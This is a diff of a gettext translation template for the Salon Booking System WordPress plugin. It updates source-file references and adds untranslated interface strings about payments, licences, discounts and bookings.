build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45\n-msgid \"lastname\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:537\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:537\n+msgid \"Accept\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:46\n-msgid \"email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:215\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:215\n+msgid \"Accept online payments and grow your business with our premium features\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:47\n-msgid \"address\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:72\n+msgid \"\"\n+\"Accept online payments with PayPal, Stripe or many other payments platforms.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48\n-msgid \"phone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:217\n+msgid \"Accept payments via Stripe & PayPal\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:66\n+msgid \"Accept payments with Stripe or PayPal. Deposit and tips.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:666\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:668\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:666\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:668\n+msgid \"Access Denied\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:180\n+msgid \"Access denied. Please check your API key permissions.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49\n-msgid \"notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101\n+msgid \"Access token not found\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:50\n-msgid \"customer personal notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:49\n+msgid \"Account ID\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:51\n-msgid \"Customer personal notes\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17\n+msgid \"Action\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:52, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52\n-msgid \"Save this customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:305\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:305\n+msgid \"Actions\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:53, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53\n-msgid \"Extra info\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:395\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:395\n+msgid \"Activate\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:54, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:54\n-msgid \"Add and manage discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:440\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:423\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:440\n+msgid \"Activate License\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:55\n-msgid \"Select a discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:21\n+msgid \"Activate online payments\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:351\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:391\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:453\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:351\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:391\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:453\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:118\n+msgid \"Active\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:454\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:200\n+msgid \"active\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:688\n+#, php-format\n+msgid \"Active (expires %s)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:685\n+msgid \"Active (lifetime)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_preview.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:46\n+msgid \"Active Rules\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65\n msgid \"Add a discount\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57\n-msgid \"Save booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FForm.php:290\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:290\n+msgid \"Add a file\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58\n-msgid \"Saved\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:383\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:383\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:76\n+msgid \"Add a service\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:59\n-msgid \"Please fill the required fields\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63\n+msgid \"Add and manage discount\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:60\n-msgid \"Select services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:250\n+msgid \"Add Assistant\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:61, views\u002Fmetabox\u002F_booking_services.php:367, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:367, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:367\n-msgid \"Select an assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 